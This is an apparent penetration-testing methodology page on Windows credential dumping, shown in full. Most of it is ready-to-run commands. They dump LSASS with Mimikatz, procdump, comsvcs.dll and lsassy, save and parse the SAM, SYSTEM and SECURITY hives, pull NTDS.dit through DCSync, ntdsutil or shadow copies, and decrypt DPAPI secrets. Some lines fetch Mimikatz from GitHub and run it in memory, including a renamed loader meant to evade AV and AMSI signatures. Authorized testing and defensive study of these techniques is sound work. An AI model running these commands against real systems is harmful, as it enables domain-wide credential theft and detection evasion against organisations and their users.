Credential Dumping

Overview

Credential dumping is the process of extracting authentication material, plaintext passwords, NTLM hashes, Kerberos tickets or DPAPI secrets, from a compromised host so it can be reused elsewhere in the environment.

Once local administrator or SYSTEM-level access has been obtained on a target, we want to know:

1
Who has logged onto this box?
2
What credentials are cached in memory?
3
What local accounts exist, and what are their hashes?
4
Is this box a domain controller? If so, what does NTDS.dit contain?
5
What DPAPI-protected secrets (saved browser passwords, RDP creds, Wi-Fi keys) exist for local users?

Credential dumping rarely ends the engagement on its own. It’s a pivot point: hashes and tickets recovered here feed directly into pass-the-hash and relay attacks and Kerberos abuse.

LSASS Dumping

On Windows, lsass.exe (Local Security Authority Subsystem Service) holds credential material in memory for logged-on users, including NTLM hashes and, depending on configuration, plaintext passwords via WDigest or credential providers.

Mimikatz

Mimikatz is the reference tool for reading credentials directly out of LSASS memory:

1
privilege::debug
2
sekurlsa::logonpasswords

This surfaces NTLM hashes, and plaintext passwords where WDigest or another reversible provider is enabled.

Kerberos tickets held by the session can also be listed and extracted:

1
sekurlsa::tickets /export

SafetyKatz (and its updated fork, BetterSafetyKatz) chain the same Mimikatz functionality into a single self-contained binary, useful for a quick one-shot dump without an interactive Mimikatz session:

1
BetterSafetyKatz.exe "privilege::debug" "log customlogfilename.log" "sekurlsa::logonPasswords full" "sekurlsa::tickets /export" "exit"

Loading Mimikatz Without Touching Disk

Dropping mimikatz.exe to disk is one of the most heavily signatured actions on a monitored host. Reflectively loading it into memory instead avoids writing the binary out at all:

1
IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/<user>/<repo>/master/Invoke-Mimikatz.ps1')
2
Invoke-Mimikatz -DumpCreds

Obfuscated/renamed loaders exist for exactly this reason, they carry the same functionality under different cmdlet and function names, which is enough to dodge purely string-based AV/AMSI signatures targeting the well-known Invoke-Mimikatz name:

1
IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/<user>/<renamed-mimikatz-loader>/master/loader.ps1')
2
Invoke-Mimidogz -DumpCred

Where shell access is via Evil-WinRM, its Invoke-Binary function loads and executes a .NET binary like Mimikatz entirely in memory over the WinRM session, again without ever writing it to disk:

1
Invoke-Binary /path/to/exmimikatz.exe "'privilege::debug' 'log customlogfilename.log' 'sekurlsa::logonpasswords' 'exit'"

Remote LSASS Dumping at Scale

Where credential dumping needs to happen across many hosts rather than one, lsassy automates remote LSASS extraction over SMB against an entire range, a host list, or an individual target, without needing an interactive session on each one:

1
lsassy -d <domain> -u <username> -p '<password>' 10.1.1.0/24
2
lsassy -d <domain> -u <username> -p '<password>' 10.1.1.1-10
3
lsassy -d <domain> -u <username> -p '<password>' hosts.txt

Dumping LSASS to Disk

Rather than running Mimikatz live against LSASS (which is heavily signatured by EDR), it’s often quieter to create a memory dump of the process and analyse it offline with Mimikatz’s minidump module.

Task Manager (GUI, requires interactive access):

1
Right-click lsass.exe -> Create dump file

procdump (Sysinternals, still detected by most modern EDR but widely available):

1
procdump.exe -accepteula -ma lsass.exe lsass.dmp

comsvcs.dll (living-off-the-land, no extra binary required):

1
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> lsass.dmp full

Once retrieved, the dump can be parsed offline with Mimikatz:

1
sekurlsa::minidump lsass.dmp
2
sekurlsa::logonpasswords

or with pypykatz from Linux without needing Mimikatz at all:

1
pypykatz lsa minidump lsass.dmp

SAM, SYSTEM and SECURITY Hives

Local account hashes are stored in the SAM hive, encrypted with a key stored in the SYSTEM hive. The SECURITY hive holds cached domain credentials and LSA secrets (service account passwords, auto-logon credentials).

Registry Save

All three can be saved locally (requires local administrator):

1
reg save HKLM\SAM sam.save
2
reg save HKLM\SYSTEM system.save
3
reg save HKLM\SECURITY security.save

The saved hives can then be transferred off-host and parsed offline, avoiding running a credential-dumping tool directly against a live, monitored process.

Offline Parsing with secretsdump.py

Impacket’s secretsdump.py can parse the saved hives directly:

1
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

This returns local account NTLM hashes, cached domain credentials, and any LSA secrets present.

Remote Extraction

Where authenticated access to a host is already available, secretsdump.py can pull the same information remotely without touching disk first:

1
secretsdump.py DOMAIN/user:password@<target>

NetExec provides an equivalent, and is useful when credential dumping needs to be run across many hosts at once:

1
nxc smb <targets> -u user -p password --sam
2
nxc smb <targets> -u user -p password --lsa

NTDS.dit (Domain Controller)

If the compromised host is a domain controller, NTDS.dit contains the hash for every account in the domain. This is one of the highest-value targets in an Active Directory engagement.

secretsdump.py via DRSUAPI

Given credentials for an account with replication rights (or Domain Admin), the entire database can be extracted remotely without ever touching the DC’s disk, using the same DRSUAPI replication mechanism a second DC would use:

1
secretsdump.py DOMAIN/user:password@<dc-ip>

This is generally preferable to local extraction: it’s quieter, doesn’t require local access to the DC, and is exactly the technique used to perform a DCSync attack.

Local Extraction (ntdsutil)

Where interactive or RDP access to the DC itself is available, a local copy can be created via ntdsutil:

1
ntdsutil
2
activate instance ntds
3
ifm
4
create full C:\temp\ntds-dump
5
quit
6
quit

This produces a copy of NTDS.dit along with the SYSTEM hive needed to decrypt it, which can then be parsed offline:

1
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Volume Shadow Copy

NTDS.dit is locked while the DC is running, so another approach is to create a shadow copy of the volume and copy the file out of the snapshot:

1
vssadmin create shadow /for=C:
2
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\NTDS\ntds.dit C:\temp\ntds.dit
3
reg save HKLM\SYSTEM C:\temp\SYSTEM

DPAPI-Protected Secrets

Windows Data Protection API (DPAPI) is used to encrypt a range of per-user secrets at rest, saved browser passwords, RDP credentials, Wi-Fi keys and Credential Manager entries. These are encrypted with a key ultimately derived from the user’s password, so recovering them requires either the user’s plaintext password or the relevant DPAPI master key.

Mimikatz can extract and decrypt DPAPI blobs where the master key is available:

1
dpapi::masterkey /in:<masterkey_file> /sid:<user_sid> /password:<password>
2
dpapi::cred /in:<credential_blob> /masterkey:<decrypted_masterkey>

Impacket’s dpapi.py provides an equivalent, and can also decrypt secrets domain-wide using the domain backup key recovered from a Domain Admin-equivalent account:

1
dpapi.py masterkey -file <masterkey_file> -password <password>
2
dpapi.py credential -file <credential_blob> -key <decrypted_masterkey>

OPSEC Considerations

Credential dumping is one of the most heavily monitored activities on a modern Windows estate. Before reaching for Mimikatz or procdump against a live process, consider:

• Is EDR present, and does it hook or monitor access to lsass.exe?
• Would offline parsing (dump-and-transfer, or registry save-and-transfer) be quieter than running a tool directly against the live process?
• Is Credential Guard enabled? If so, sekurlsa::logonpasswords will not return usable secrets from LSASS directly, and other avenues (SAM, DPAPI, NTDS.dit) become more relevant.
• Does the engagement scope and rules of engagement permit this level of intrusiveness on this host?

What Should We Look For?

Once local administrator or SYSTEM access has been obtained, some of the questions worth answering are:

• Are plaintext credentials recoverable from LSASS (WDigest enabled, no Credential Guard)?
• Are local account hashes reused across multiple hosts (see pass-the-hash and relay attacks)?
• Are service accounts configured with weak or reused passwords, visible in LSA secrets?
• Is this host a domain controller, and if so, is NTDS.dit adequately protected?
• Are DPAPI-protected secrets (saved credentials, Wi-Fi keys) recoverable for logged-on users?
• Is Credential Guard, LSA Protection (RunAsPPL) or an EDR product actively defending against these techniques?

As with most post-exploitation activity, the goal isn’t simply to prove that credentials can be dumped, most hosts will yield something. What matters is what those credentials grant access to, and whether the organisation’s detective controls actually noticed.